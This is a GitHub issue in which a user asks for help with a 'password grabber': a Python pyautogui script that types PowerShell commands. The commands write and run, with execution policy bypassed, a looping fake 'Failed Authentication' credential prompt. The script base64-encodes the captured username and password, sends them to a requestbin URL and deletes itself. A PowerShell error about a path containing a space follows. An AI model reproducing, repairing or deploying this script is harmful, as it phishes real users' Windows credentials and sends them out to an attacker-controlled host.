password grabber stopped working(using a python script)
Closed this issue · 0 comments
TheStorm135 commented
so I don't have a sd card for the pi0W and i was going to make it in python,
its the same code but on the last line i change hidden
with Normal
wondering if you can help me. i know at this is not your code so just close this issues if you don't wanna deal with it.
My python code
import pyautogui as p
import time
URL = "http://requestbin.net/r/dum96elf"
p.keyDown("win")
p.keyDown("r")
p.keyUp("win")
p.keyUp("r")
time.sleep(1)
p.typewrite("powershell\n")
time.sleep(1)
p.typewrite("$popup = \"while (`$true){`$cred = `$host.ui.promptforcredential(`'Failed Authentication`',`'`',[Environment]::UserDomainName + `\"\\`\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};if (`$cred.getnetworkcredential().password) {break :DoLoop}};`$Text = `$cred.username + `\":`\" + `$cred.getnetworkcredential().password;`$Bytes = [System.Text.Encoding]::Unicode.GetBytes(`$Text);`$EncodedText =[Convert]::ToBase64String(`$Bytes);Invoke-WebRequest -UseBasicParsing -Uri " + URL + "/`$EncodedText; rm $Env:UserProfile\\popup.ps1\"\n")
time.sleep(1)
p.typewrite("echo $popup > $Env:UserProfile\\popup.ps1\n")
time.sleep(1)
p.typewrite("powershell.exe -Exec Bypass -windowstyle Normal $Env:UserProfile\\popup.ps1\n")
the error i get
C:\Users\Jayden : The term 'C:\Users\Jayden' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ C:\Users\Jayden Robbin\popup.ps1
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\Users\Jayden:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException